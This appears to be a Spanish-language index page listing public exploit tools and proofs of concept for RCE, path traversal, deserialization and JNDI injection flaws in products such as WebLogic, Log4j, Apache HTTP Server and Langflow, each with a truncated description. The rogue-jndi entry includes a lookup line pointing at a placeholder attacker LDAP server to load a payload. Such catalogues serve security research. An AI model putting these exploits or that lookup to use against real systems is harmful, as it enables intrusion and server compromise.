CVE-2026-21962_Java_GUI_Exploit_Tool

CVE-2026-21962 Herramienta de Explotación GUI en Java Versión GUI en Java de la herramienta de explotación de la vulnerabilidad RCE Ejecución Remota de Código del Proxy Plug-In de Oracle WebLogic Server. Estructura del Proyecto root@kitploit: java-version/ ├── pom.xml Archivo de configuración del...

hekate

Hekate - Un exploit de ejecución remota de código en VMWare Workspace ONE Access Steven Seeley del Qihoo 360 Vulnerability Research Institute Servidor MySQL malicioso original de LandGrey Detalles Hekate se pronuncia heh-ka-teh Fecha: Tue Feb 22 13:37:00 CST 2022 Versión: 21.08.0.1 última Archivo...

CVE-2026-39987_exploit

🔥 CVE-2026-39987 | Exploit RCE Pre-Auth de Marimo Framework de Explotación | Ejecución Remota de Código RCE Completa | Omisión de Autenticación WebSocket 🧠 Para conocer los comandos más a fondo Abre el archivo website.html 🎯 Resumen Este exploit ataca aplicaciones Marimo que ejecutan WebSocket en...

CVE-2026-5027

Esta publicación es un artículo de investigación publicado por EQSTLab. Gracias aYahia Hamza, quien reportó y analizó esta vulnerabilidad. CVE-2026-5027 ★ CVE-2026-5027 Langflow Path Traversal / Arbitrary File Write PoC ★ Descripción CVE-2026-5027 : Vulnerabilidad de escritura arbitraria de...

CVE-2026-3395-MaxSite-CMS-Unauthenticated-RCE

CVE‑2026‑3395 — MaxSite CMS Unauthenticated Remote Code Execution...

CVE-2026-37748

CVE-2026-37748 — Visitor Management System 1.0 - Unrestricted File Upload → RCE Details...

CVE-2026-27574-OneUptime-RCE

CVE-2026-27574-OneUptime-RCE Overview Proof-of-Concept exploit for CVE-2026-27574 – a critical code injection vulnerability CWE-94 in OneUptime 10.0.0 allowing arbitrary JavaScript execution in the probe context, leading to full and leakage of sensitive environment variables...

CVE-2026-27180-MajorDoMo-unauthenticated-RCE

MajorDoMo RCE CVE-2026-27180 Unauthenticated Remote Code Execution via Update URL Poisoning in MajorDoMo CWE-494 – Download of Code Without Integrity Check Impact : Full server compromise via webshell placed in web root Authentication Required : None Patch : PR 1177 📜 Description This repository...

CVE-2026-26335-Calero-VeraSMART-RCE

👤 Author Mohammed Idrees Banyamer Security Researcher GitHub: https://github.com/mbanyamer Instagram: https://instagram.com/banyamersecurity CVE-2026-26335 - Calero VeraSMART ViewState RCE Exploit 📌 Description...

CVE-2026-26030-Microsoft-Semantic-Kernel-1.39.4-RCE

Microsoft Semantic Kernel 1.39.4 – Remote Code Execution PoC CVE-2026-26030 Untrusted filter expressions in InMemoryVectorStore allow unsafe attribute resolution leading to arbitrary Python code execution via builtins / globals traversal. 👤 Author Mohammed Idrees Banyamer Security Researcher...

CVE-2021-41773-exercise

Ejercicio CVE-2021-41773 Se encontró una falla en un cambio realizado en la normalización de rutas en Apache HTTP Server 2.4.49. Un atacante podría usar un ataque de path traversal para mapear URLs a archivos fuera de los directorios configurados mediante directivas similares a Alias. Si los...

CVE-2021-45897

CVE-2021-45897 PoC for CVE-2021-45897 aka SCRMBT-180 - RCE via Email-Templates Authenticated only in SuiteCRM = 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2021-45897...

exploit-CVE-2026-23744

exploit-CVE-2026-23744 MCPJam Inspector es una plataforma de desarrollo local-first para servidores MCP. En las versiones 1.4.2 y anteriores, una vulnerabilidad de ejecución remota de código permite a los atacantes enviar solicitudes HTTP manipuladas que instalan un servidor MCP y ejecutan código...

-CVE-2026-26215-manga-image-translator-RCE

CVE-2026-26215 - manga-image-translator Pickle Deserialization RCE 👤 Author Mohammed Idrees Banyamer Instagram: @banyamersecurity GitHub: @mbanyamer Proof-of-Concept exploit for CVE-2026-26215 - Unauthenticated Remote Code Execution via unsafe Pickle deserialization in manga-image-translator ≤...

CVE-2021-44228

CVE-2021-44228 Ejecución Remota de Código en Apache Log4j todas las versiones de log4j-core =2.0-beta9 y =2.14.1 Las versiones 1.x tienen otras vulnerabilidades, recomendamos que actualices a la última versión. Advisories / Boletines de seguridad vinculados a Log4Shell CVE-2021-44228 Uso: Descarg...

CVE-2021-42013

CVE-2021-42013 Description This script exploits CVE-2021-42013 to print file or/and execute command. This script is available for: Nmap Python Ruby Requirements Python python3 python3 Standard Library Ruby Ruby Ruby Standard Library Install root@kitploit: git clone...

CVE-2021-41773

CVE-2021-41773 Descripción Este script explota CVE-2021-41773 para imprimir archivos y/o ejecutar comandos. Este script está disponible para: Nmap Python Ruby Requisitos Python python3 Biblioteca estándar de python3 Ruby Ruby Biblioteca estándar de Ruby Instalación root@kitploit: git clone...

rogue-jndi

Rogue JNDI 一个用于 JNDI 注入攻击的恶意 LDAP 服务器。 描述 该项目包含用于利用不安全的默认 Java JNDI API 的 LDAP 和 HTTP 服务器。 为了执行攻击，你可以在本地启动这些服务器，然后在存在漏洞的客户端上触发 JNDI 解析，例如： root@kitploit: InitialContext.doLookup"ldap://yourserver.com:1389/o=reference"; 这将从存在漏洞的客户端发起一个到本地 LDAP 服务器的连接。然后，本地服务器会响应一个包含其中一个 payload 的恶意条目，该条目可用于实现远程代码执...

CVE-2026-25548

CVE-2026-25548 — Ejecución Remota de Código en InvoicePlane 1.7.0 Vulnerabilidad: Ejecución Remota de Código mediante Inclusión Local de Archivos + Envenenamiento de Registros Producto: InvoicePlane Versión afectada: 1.7.0 y probablemente versiones anteriores Gravedad: Crítica Puntuación CVSS 3.1...

telnet-CVE-2026-24061

https://github.com/SafeBreach-Labs/CVE-2026-24061/blob/main/telnetrce.py hay que entender el código 2. Construir un código funcional sin input, directamente variable = '' El código debe ser compatible con cualquier dispositivo, por lo que no se pueden usar comandos como os.system'comando' 3...